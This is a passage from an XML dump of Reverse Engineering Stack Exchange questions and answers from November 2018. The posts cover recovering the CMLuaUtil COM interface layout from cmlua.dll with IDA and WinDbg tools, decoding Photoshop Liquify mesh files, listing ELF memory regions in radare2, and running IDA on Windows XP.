&lt;code&gt;CCMLuaUtil&lt;/code&gt; class to the interface pointer its DLL returns when asked for that specific class. Looking into &lt;code&gt;DllGetClassObject&lt;/code&gt; will enable you to figure out the IID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now from here on this is going to be the same old grunt job of making sense of the disassembly (or the pseudo code if you can afford the decompiler plugin).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now &lt;strong&gt;if&lt;/strong&gt; we get lucky we can save a whole lot of time if the COM server (typically a DLL) in question contains a TYPELIB resource, which is the compiled version of an IDL and therefore the best starting point to get to an IDL quickly. For &lt;code&gt;cmlua.dll&lt;/code&gt; we're out of luck, however.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore if you had no symbols like with Windows components, you would have to dig yourself into the disassembly starting from &lt;code&gt;DllGetClassObject&lt;/code&gt; which is well-known and well-documented and should be trivial to understand even for the layperson. Going from there and equipped with the knowledge that the three first methods of any COM interface are inherited from &lt;code&gt;IUnknown&lt;/code&gt; you'd then try to make sense of the implementation of each method (apart from those well-known first three) and assign hopefully meaningful names to the functions and their parameters. That is: the whole task becomes a bit more tedious without debug symbols, but not at all impossible.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2018-11-23T10:03:51.780" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19952" PostTypeId="1" CreationDate="2018-11-23T21:44:15.720" Score="7" ViewCount="597" Body="&lt;p&gt;Photoshop's &lt;a href=&quot;https://helpx.adobe.com/photoshop/using/liquify-filter.html&quot; rel=&quot;noreferrer&quot;&gt;Liquify filter&lt;/a&gt; allows you to distort images interactively in many different ways. When you have distorted an image to your liking, you can save the mesh that represents the transformation in a .msh file. This transformation can then be loaded and applied on other images. I need to reverse engineer .msh files even though I never never decoded a file format before. Below is everything I've figured out so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously, .msh files just contained a header and an uncompressed array of pixel displacement values. I know this because the format was reverse engineered in open source projects such as &lt;a href=&quot;https://github.com/bsneeze/pdn-liquify&quot; rel=&quot;noreferrer&quot;&gt;Paint.NET&lt;/a&gt; and &lt;a href=&quot;https://github.com/graphics32/graphics32/blob/54aa9dcb9e8be26d5df25dc6fb7be8ef2c752a54/Source/GR32_VectorMaps.pas#L300&quot; rel=&quot;noreferrer&quot;&gt;graphics32&lt;/a&gt; (see TVectorMap.LoadFromFile and SaveToFile). This resulted in very large file sizes, so Adobe eventually updated the format to include some kind of compression. The compression is very efficient (an 11.5 MB file was reduced to 430 kB when resaved in the new format), but I don't know if it is lossy or lossless. To my knowledge, these newer compressed .msh files have not been decoded, but this is what I need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new headers are very similar to the old headers, but I can't figure out what kind of compression has been used so I can't read the actual data. I googled some common compression formats and their signatures but didn't detect anything useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a trick or utility that can help me figure out the type of compression? Any other thoughts that can lead me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone wants to take a look, I created a few sample .msh files in vastly different sizes along with .png images that demonstrate the transformation being applied. I uploaded them to MEGA here (1.3 MB download):&lt;br&gt;&#xA;&lt;a href=&quot;https://mega.nz/#!We5QkARI!2-qD_qK2e8ADnYJcT578x9RxXo4uvBH0rXeDPeR-pRU&quot; rel=&quot;noreferrer&quot;&gt;https://mega.nz/#!We5QkARI!2-qD_qK2e8ADnYJcT578x9RxXo4uvBH0rXeDPeR-pRU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26494" LastActivityDate="2020-05-03T06:54:30.223" Title="Any ideas on how to decode Photoshop Liquify .msh files?" Tags="|decompress|graphics|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19954" PostTypeId="1" AcceptedAnswerId="19955" CreationDate="2018-11-24T10:15:26.117" Score="0" ViewCount="423" Body="&lt;p&gt;I'm just starting out with reverse engineering, one thing I'm finding difficult is identifying different areas of memory. I'm using radare2, and I would like to be able to easily seek and identify different sections of memory (e.g. data/text/stack/heap etc):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to do this within radare2?&lt;/p&gt;&#xA;" OwnerUserId="25955" LastEditorUserId="25955" LastEditDate="2018-11-24T11:07:51.050" LastActivityDate="2018-11-24T11:07:51.050" Title="How to identify different memory regions of an elf binary in radare2?" Tags="|debugging|radare2|elf|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19955" PostTypeId="2" ParentId="19954" CreationDate="2018-11-24T11:05:20.073" Score="2" Body="&lt;p&gt;It is possible to list the sections and segments of a program using radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Sections&lt;/strong&gt;&lt;br&gt;&#xA;Use &lt;code&gt;iS&lt;/code&gt; to list the program's Sections:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00001c50]&amp;gt; iS&#xA;[Sections]&#xA;Nm Paddr       Size Vaddr      Memsz Perms Name&#xA;00 0x00000000     0 0x00000000     0 ----&#xA;01 0x00000238    28 0x00000238    28 -r-- .interp&#xA;02 0x00000254    32 0x00000254    32 -r-- .note.ABI_tag&#xA;03 0x00000274    36 0x00000274    36 -r-- .note.gnu.build_id&#xA;04 0x00000298   100 0x00000298   100 -r-- .gnu.hash&#xA;&amp;lt;truncated for readability&amp;gt;&#xA;19 0x00007bf0     8 0x00207bf0     8 -rw- .init_array&#xA;20 0x00007bf8     8 0x00207bf8     8 -rw- .fini_array&#xA;21 0x00007c00    88 0x00207c00    88 -rw- .data.rel.ro&#xA;22 0x00007c58   496 0x00207c58   496 -rw- .dynamic&#xA;23 0x00007e48   440 0x00207e48   440 -rw- .got&#xA;24 0x00008000   128 0x00208000   128 -rw- .data&#xA;25 0x00008080     0 0x00208080   416 -rw- .bss&#xA;26 0x00008080    52 0x00000000    52 ---- .gnu_debuglink&#xA;27 0x000080b4   257 0x00000000   257 ---- .shstrtab&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Segements&lt;/strong&gt;&lt;br&gt;&#xA; Use &lt;code&gt;iSS&lt;/code&gt; to list its Segments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00001c50]&amp;gt; iSS&#xA;[Segments]&#xA;Nm Paddr       Size Vaddr      Memsz Perms Name&#xA;00 0x00000040   504 0x00000040   504 -r-x PHDR&#xA;01 0x00000238    28 0x00000238    28 -r-- INTERP&#xA;02 0x00000000 28120 0x00000000 28120 -r-x LOAD0&#xA;03 0x00007bf0  1168 0x00207bf0  1584 -rw- LOAD1&#xA;04 0x00007c58   496 0x00207c58   496 -rw- DYNAMIC&#xA;05 0x00000254    68 0x00000254    68 -r-- NOTE&#xA;06 0x000060a4   580 0x000060a4   580 -r-- GNU_EH_FRAME&#xA;07 0x00000000     0 0x00000000     0 -rw- GNU_STACK&#xA;08 0x00007bf0  1040 0x00207bf0  1040 -r-- GNU_RELRO&#xA;09 0x00000000    64 0x00000000    64 -rw- ehdr&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Memory maps&lt;/strong&gt;&lt;br&gt;&#xA;If you want to list different memory maps of a running executable, including the Heap and Stack, this can also be done with radare2. This is relevant only when you are debugging a program (using &lt;code&gt;r2 -d &amp;lt;program&amp;gt;&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x7f5e8d50bca6]&amp;gt; dm&#xA;0x000055e186c63000 - 0x000055e186c6b000 - usr    32K s r-x /usr/bin/cat /usr/bin/cat ; map.usr_bin_cat.r_x&#xA;0x000055e186e6a000 - 0x000055e186e6b000 - usr     4K s r-- /usr/bin/cat /usr/bin/cat ; map.usr_bin_cat.rw&#xA;0x000055e186e6b000 - 0x000055e186e6c000 - usr     4K s rw- /usr/bin/cat /usr/bin/cat ; section..data&#xA;0x000055e188c8b000 - 0x000055e188cac000 - usr   132K s rw- [heap] [heap]&#xA;0x00007f5e8d446000 - 0x00007f5e8d5f9000 * usr   1.7M s r-x /usr/lib/libc-2.27.so /usr/lib/libc-2.27.so&#xA;&amp;lt;truncated for readability&amp;gt;&#xA;0x00007f5e8da28000 - 0x00007f5e8da29000 - usr     4K s rw- unk2 unk2 ; map.unk0.rw&#xA;0x00007ffffa7d7000 - 0x00007ffffa7f8000 - usr   132K s rw- [stack] [stack] ; map.stack_.rw&#xA;0x00007ffffa7f9000 - 0x00007ffffa7fc000 - usr    12K s r-- [vvar] [vvar] ; map.vvar_.r&#xA;0x00007ffffa7fc000 - 0x00007ffffa7fe000 - usr     8K s r-x [vdso] [vdso] ; map.vdso_.r_x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-11-24T11:05:20.073" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19960" PostTypeId="2" ParentId="19947" CreationDate="2018-11-25T15:41:00.183" Score="2" Body="&lt;p&gt;This is just an extension of @0xC0000022L's answer. For this question, I will explain ICMLuaUtil COM interface below because IFileOperation COM interface is in &lt;code&gt;shell32.dll&lt;/code&gt;, too big ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You mentioned the wrong CLSID. Here I provide a list of them:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GUID CLSID_CmstpLua = {3E5FC7F9-9A51-4367-9063-A120244FBEC7}&#xA;GUID IID_ICmstpLua = {6EF07F29-F9B8-4DA4-B59E-13DEA060AD60}&#xA;GUID IID_ICmstpLua2 = {AE8AFD54-5B57-4961-8A9B-12ADF23B696A}&#xA;&#xA;GUID CLSID_CMLuaUtil = {3E000D72-A845-4CD9-BD83-80C07C3B881F}&#xA;GUID IID_ICMLuaUtil = {6EDD6D74-C007-4E75-B76A-E5740995E24C}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;How to find the DLL file path from &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/com/clsid-key-hklm&quot; rel=&quot;nofollow noreferrer&quot;&gt;CLSID&lt;/a&gt; without using any 3rd party program? Open this registry path &lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{CLSID}&lt;/code&gt; in RegEdit. For this case, try this command:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;REG Query &quot;HKLM\SOFTWARE\Classes\CLSID\{3E000D72-A845-4CD9-BD83-80C07C3B881F}\InprocServer32&quot; /VE&#xA;REG Query &quot;HKLM\SOFTWARE\Classes\Interface\{6EDD6D74-C007-4E75-B76A-E5740995E24C}&quot; /VE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;The path will be &lt;code&gt;%SystemRoot%\System32\cmlua.dll&lt;/code&gt;. Open it in IDA (or any disassembler/decompiler) and load the PDB symbol file. Go to the functions window with &lt;kbd&gt;Shift&lt;/kbd&gt; + &lt;kbd&gt;F3&lt;/kbd&gt; and search for the &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/initializer_list&quot; rel=&quot;nofollow noreferrer&quot;&gt;constructor&lt;/a&gt; or the &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/destructor&quot; rel=&quot;nofollow noreferrer&quot;&gt;destructor&lt;/a&gt; by typing those words in that window. Open that function in assembly view. There must be a variable like &lt;code&gt;const CCMLuaUtil::vftable&lt;/code&gt; because &lt;a href=&quot;https://en.wikipedia.org/wiki/Virtual_method_table&quot; rel=&quot;nofollow noreferrer&quot;&gt;you-know-why&lt;/a&gt;. Double click on it and you will see the layout of that COM class in assembly view. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sGRNb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sGRNb.png&quot; alt=&quot;CMLuaUtil_interface&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many advantages of the assembly view. In the &lt;strong&gt;assembly view&lt;/strong&gt;, all the methods in that class are placed in &lt;strong&gt;actual order&lt;/strong&gt; but the functions windows may not (according to settings). The methods are actually placed as function pointers. For 64 bit binary there will be &lt;code&gt;dq&lt;/code&gt; (qword 8 bytes) before every methods (in the above screenshot). The first three methods are &lt;a href=&quot;https://en.wikipedia.org/wiki/Inheritance_(object-oriented_programming)&quot; rel=&quot;nofollow noreferrer&quot;&gt;inherited&lt;/a&gt; from &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/api/unknwn/nn-unknwn-iunknown&quot; rel=&quot;nofollow noreferrer&quot;&gt;IUnknown interface&lt;/a&gt;. If you are writing that class (as struct) in C, you've to include those three.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/19079/23069&quot;&gt;another canonical answer&lt;/a&gt; for further reference. One can see a real example of this method in my repository &lt;a href=&quot;https://github.com/Biswa96/WslReverse&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub: WslReverse&lt;/a&gt; where I showed the hidden COM interface of &lt;code&gt;LxssManager.DLL&lt;/code&gt;. Also this video about &lt;a href=&quot;http://youtu.be/efkLG8-G3J0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Practical C++ Decompilation | Recon 2011 | Igor Skochinsky&lt;/a&gt; helped me a lot.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="23069" LastActivityDate="2018-11-25T15:41:00.183" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19961" PostTypeId="2" ParentId="19947" CreationDate="2018-11-25T16:33:26.897" Score="3" Body="&lt;p&gt;well the answers out there are good this is just an addition to show how you could arrive using windbg in command line&lt;/p&gt;&#xA;&#xA;&lt;p&gt;dbh is an utility in windbg installation that can load any binary and provide a lot of static information &#xA;using it and the command line version of windbg cdb.exe you can get the methods in two commands (notice the method names are demangled)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;dbh c:\Windows\System32\cmlua.dll  &quot;x CCM*&quot; | grep -i vf&#xA;    11            1002d58 :   CCMLuaUtil::`vftable'&#xA;&#xA;C:\&amp;gt;cdb -c &quot;dps cmlua.dll+2d58&quot; -z c:\Windows\System32\cmlua.dll&#xA;&#xA;Microsoft (R) Windows Debugger Version 10.0.16299.15 X86&#xA;Loading Dump File [c:\Windows\System32\cmlua.dll]&#xA;&#xA;&#xA;cmlua!_DllMainCRTStartup:&#xA;100061e7 8bff            mov     edi,edi&#xA;&#xA;0:000&amp;gt; cdb: Reading initial command 'dps cmlua.dll+2d58'&#xA;&#xA;10002d58  100042ad cmlua!CCMLuaUtil::QueryInterface&#xA;10002d5c  10004e82 cmlua!CCMLuaUtil::AddRef&#xA;10002d60  10004279 cmlua!CCMLuaUtil::Release&#xA;10002d64  10004346 cmlua!CCMLuaUtil::SetRasCredentials&#xA;10002d68  10004401 cmlua!CCMLuaUtil::SetRasEntryProperties&#xA;10002d6c  100044dd cmlua!CCMLuaUtil::DeleteRasEntry&#xA;10002d70  10004573 cmlua!CCMLuaUtil::LaunchInfSection&#xA;10002d74  100045e1 cmlua!CCMLuaUtil::LaunchInfSectionEx&#xA;10002d78  10004630 cmlua!CCMLuaUtil::CreateLayerDirectory&#xA;10002d7c  1000466e cmlua!CCMLuaUtil::ShellExec&#xA;10002d80  10004690 cmlua!CCMLuaUtil::SetRegistryStringValue&#xA;10002d84  10004701 cmlua!CCMLuaUtil::DeleteRegistryStringValue&#xA;10002d88  100055da cmlua!CCMLuaUtil::DeleteRegKeysWithoutSubKeys&#xA;10002d8c  10004767 cmlua!CCMLuaUtil::DeleteRegTree&#xA;10002d90  100048cc cmlua!CCMLuaUtil::ExitWindowsFunc&#xA;10002d94  10005c72 cmlua!CCMLuaUtil::AllowAccessToTheWorld&#xA;10002d98  100048d9 cmlua!CCMLuaUtil::CreateFileAndClose&#xA;10002d9c  1000560f cmlua!CCMLuaUtil::DeleteHiddenCmProfileFiles&#xA;10002da0  1000492a cmlua!CCMLuaUtil::CallCustomActionDll&#xA;10002da4  10004b6c cmlua!CCMLuaUtil::RunCustomActionExe&#xA;10002da8  10004c2c cmlua!CCMLuaUtil::SetRasSubEntryProperties&#xA;10002dac  10004d0e cmlua!CCMLuaUtil::DeleteRasSubEntry&#xA;10002db0  10004da7 cmlua!CCMLuaUtil::SetCustomAuthData&#xA;10002db4  10005cdb cmlua!CCMLuaUtil::`vector deleting destructor'&#xA;10002db8  00000000&#xA;10002dbc  10009138 cmlua!hProxyDll+0x10&#xA;10002dc0  10009188 cmlua!hProxyDll+0x60&#xA;10002dc4  00000000&#xA;10002dc8  69727453&#xA;10002dcc  6343676e&#xA;10002dd0  706f4368&#xA;10002dd4  20784579&#xA;0:000&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/36251393/get-parameters-of-public-symbols-in-windbg/36295654#36295654&quot;&gt;now dbh has a switch -d which would output mangled names and you can leverage that switch to print the parameters to the Methods&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\&amp;gt;echo off&#xA;&#xA;for /F %i in ('dbh -d c:\Windows\System32\cmlua.dll  &quot;x *CCM*&quot;  ^| awk &quot;{print $4}&quot;') do  dbh c:\windows\system32\cmlua.&#xA;dll undec %i&#xA;&#xA;?Release@CCMLuaUtil@@UAGKXZ =&#xA;public: virtual unsigned long __stdcall CCMLuaUtil::Release(void)&#xA;&#xA;??_ECCMLuaUtil@@UAEPAXI@Z =&#xA;public: virtual void * __thiscall CCMLuaUtil::`vector deleting destructor'(unsigned int)&#xA;&#xA;??0CCMLuaUtil@@QAE@XZ =&#xA;public: __thiscall CCMLuaUtil::CCMLuaUtil(void)&#xA;&#xA;?AddRef@CCMLuaUtil@@UAGKXZ =&#xA;public: virtual unsigned long __stdcall CCMLuaUtil::AddRef(void)&#xA;&#xA;?CreateFileAndClose@CCMLuaUtil@@UAGJPBGKKKK@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::CreateFileAndClose(unsigned short const *,unsigned long,unsigned long,unsigne&#xA;d long,unsigned long)&#xA;&#xA;?DeleteHiddenCmProfileFiles@CCMLuaUtil@@UAGJPBG@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::DeleteHiddenCmProfileFiles(unsigned short const *)&#xA;&#xA;??_GCCMLuaUtil@@UAEPAXI@Z =&#xA;public: virtual void * __thiscall CCMLuaUtil::`scalar deleting destructor'(unsigned int)&#xA;&#xA;?SetRasSubEntryProperties@CCMLuaUtil@@UAGJPBG0KPAPAGK@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::SetRasSubEntryProperties(unsigned short const *,unsigned short const *,unsign&#xA;ed long,unsigned short * *,unsigned long)&#xA;&#xA;?QueryInterface@CCMLuaUtil@@UAGJABU_GUID@@PAPAX@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::QueryInterface(struct _GUID const &amp;amp;,void * *)&#xA;&#xA;?CCMLuaUtil_CreateInstance@@YGJABU_GUID@@PAPAX@Z =&#xA;long __stdcall CCMLuaUtil_CreateInstance(struct _GUID const &amp;amp;,void * *)&#xA;&#xA;?ExitWindowsFunc@CCMLuaUtil@@UAGJXZ =&#xA;public: virtual long __stdcall CCMLuaUtil::ExitWindowsFunc(void)&#xA;&#xA;?CreateLayerDirectory@CCMLuaUtil@@UAGJPBG@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::CreateLayerDirectory(unsigned short const *)&#xA;&#xA;?LaunchInfSectionEx@CCMLuaUtil@@UAGJPBG0K@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::LaunchInfSectionEx(unsigned short const *,unsigned short const *,unsigned lon&#xA;g)&#xA;&#xA;?ShellExec@CCMLuaUtil@@UAGJPBG00KK@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::ShellExec(unsigned short const *,unsigned short const *,unsigned short const&#xA;*,unsigned long,unsigned long)&#xA;&#xA;?DeleteRasEntry@CCMLuaUtil@@UAGJPBG0@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::DeleteRasEntry(unsigned short const *,unsigned short const *)&#xA;&#xA;?DeleteRegistryStringValue@CCMLuaUtil@@UAGJHPBG0@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::DeleteRegistryStringValue(int,unsigned short const *,unsigned short const *)&#xA;&#xA;??_7CCMLuaUtil@@6B@ =&#xA;const CCMLuaUtil::`vftable'&#xA;&#xA;?LaunchInfSection@CCMLuaUtil@@UAGJPBG00H@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::LaunchInfSection(unsigned short const *,unsigned short const *,unsigned short&#xA; const *,int)&#xA;&#xA;?SetCustomAuthData@CCMLuaUtil@@UAGJPBG00K@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::SetCustomAuthData(unsigned short const *,unsigned short const *,unsigned shor&#xA;t const *,unsigned long)&#xA;&#xA;?DeleteRasSubEntry@CCMLuaUtil@@UAGJPBG0K@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::DeleteRasSubEntry(unsigned short const *,unsigned short const *,unsigned long&#xA;)&#xA;&#xA;?DeleteRegTree@CCMLuaUtil@@UAGJHPBG@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::DeleteRegTree(int,unsigned short const *)&#xA;&#xA;?DeleteRegKeysWithoutSubKeys@CCMLuaUtil@@UAGJHPBGH@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::DeleteRegKeysWithoutSubKeys(int,unsigned short const *,int)&#xA;&#xA;?CallCustomActionDll@CCMLuaUtil@@UAGJPBG000PAK@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::CallCustomActionDll(unsigned short const *,unsigned short const *,unsigned sh&#xA;ort const *,unsigned short const *,unsigned long *)&#xA;&#xA;?SetRegistryStringValue@CCMLuaUtil@@UAGJHPBG00@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::SetRegistryStringValue(int,unsigned short const *,unsigned short const *,unsi&#xA;gned short const *)&#xA;&#xA;?SetRasCredentials@CCMLuaUtil@@UAGJPBG00H@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::SetRasCredentials(unsigned short const *,unsigned short const *,unsigned shor&#xA;t const *,int)&#xA;&#xA;?SetRasEntryProperties@CCMLuaUtil@@UAGJPBG0PAPAGK@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::SetRasEntryProperties(unsigned short const *,unsigned short const *,unsigned&#xA;short * *,unsigned long)&#xA;&#xA;?AllowAccessToTheWorld@CCMLuaUtil@@UAGJPBG@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::AllowAccessToTheWorld(unsigned short const *)&#xA;&#xA;?RunCustomActionExe@CCMLuaUtil@@UAGJPBG0PAPAG@Z =&#xA;public: virtual long __stdcall CCMLuaUtil::RunCustomActionExe(unsigned short const *,unsigned short const *,unsigned sho&#xA;rt * *)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-11-25T16:33:26.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19962" PostTypeId="1" CreationDate="2018-11-25T16:50:45.277" Score="0" ViewCount="3443" Body="&lt;p&gt;I tried to install IDA 6.6 on Windows XP VM. After the installation I get that this is not a valid win 32 application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I search and found that IDA is not supported with Windows XP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I run IDA debugger in Windows XP via remote debugger? What should I install in my Windows XP VM? So I can remote debugging my exe in my Windows XP VM from Windows 7 VM?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From which version is IDA not supported by Windows XP?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="25793" LastEditDate="2018-11-25T17:59:00.333" LastActivityDate="2018-11-26T01:05:47.090" Title="How to run ida in windows xp" Tags="|ida|windows|debugging|remote|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19965" PostTypeId="2" ParentId="19962" CreationDate="2018-11-26T01:05:47.090" Score="3" Body="&lt;p&gt;As far as I know, IDA 6.8 is the last version supporting Windows XP. So 6.6 should work, maybe the error is somewhere else, possibly you executed the 64bit binary?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't stick to the IDA debugger but rather choose something like OllyDbg or WinDbg and examine the corresponding code sections in IDA on your host, you don't need that remote setup. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still of you want to do the remote setup, Hex-Rays provides a tutorial for that &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/freefiles/remotedbg.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. Maybe this will work for you.&lt;/p&gt;&#xA;" OwnerUserId="25793" LastActivityDate="2018-11-26T01:05:47.090" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="19967" PostTypeId="1" AcceptedAnswerId="30295" CreationDate="2018-11-26T11:09:16.170" Score="3" ViewCount="919" Body="&lt;p&gt;Using &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt; on a function and hitting enter will force a reanalysis of the function (&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/485.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/485.shtml&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this through API? &lt;/p&gt;&#xA;" OwnerUserId="24225" LastEditorUserId="245" LastEditDate="2018-11-26T13:16:36.480" LastActivityDate="2022-04-20T09:47:05.617" Title="API to force reanalyze of function (Alt-P)" Tags="|ida|idapython|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19970" PostTypeId="1" AcceptedAnswerId="19976" CreationDate="2018-11-26T17:40:22.030" Score="2" ViewCount="673" Body="&lt;p&gt;I just wanted to know if there's any ready-to-go OS for malware analysis/reverse engineering? I prefer OS that is capable of installing on real hardware, not a VM.&lt;/p&gt;&#xA;" OwnerUserId="26518" LastEditorUserId="245" LastEditDate="2018-11-27T08:12:05.583" LastActivityDate="2018-11-27T08:12:05.583" Title="Is there any ready-to-go malware analysis/reverse engineering OS? (That is capable of installing on hard disk, preferably)" Tags="|operating-systems|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19971" PostTypeId="1" CreationDate="2018-11-26T17:44:31.530" Score="3" ViewCount="4412" Body="&lt;p&gt;I debugging with IDA, and I want to see/print all the functions that get called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the functions window I see over than 1000 functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to see which functions are called when I press enter or press on buttons and actions like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use IDA, but if I can do it with another debugger, that's also okay.&lt;/p&gt;&#xA;" OwnerUserId="23993" LastEditorUserId="245" LastEditDate="2018-11-27T20:40:49.687" LastActivityDate="2019-12-23T14:03:31.277" Title="How to see all functions that called with debugger" Tags="|ida|debugging|functions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19973" PostTypeId="1" CreationDate="2018-11-26T18:56:53.700" Score="1" ViewCount="57" Body="&lt;p&gt;I haven't had any luck researching this, so I thought I would inquire here!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume I have found a memory address housing a value of interest. Using a program like Cheat Engine, I look for instructions that access the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume there are five total instructions that access the address: four of them read from the address, and one of them writes to the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of the instructions that read, I see differing counts: one instruction reads a total of 4 times per second, another reads 60 per second, another reads 180 per second, and the last reads 300 per second. Naturally, these are arbitrary numbers simply meant to represent the difference in number of counts per instruction, per second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Based on that information, is there a way I could manually increase/decrease the number of times any of those instructions access the address?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've absolutely no idea where such timing exists. I'm assuming it doesn't happen at an instruction level, but rather elsewhere from some ultimate caller or something. Is there something like a table of timings for how often specific functions run?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any advice on this topic!&lt;/p&gt;&#xA;" OwnerUserId="20928" LastEditorUserId="20928" LastEditDate="2018-11-26T19:05:53.723" LastActivityDate="2018-11-26T19:05:53.723" Title="Is there a way to modify number of reads/writes to/from a memory address?" Tags="|assembly|memory|functions|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
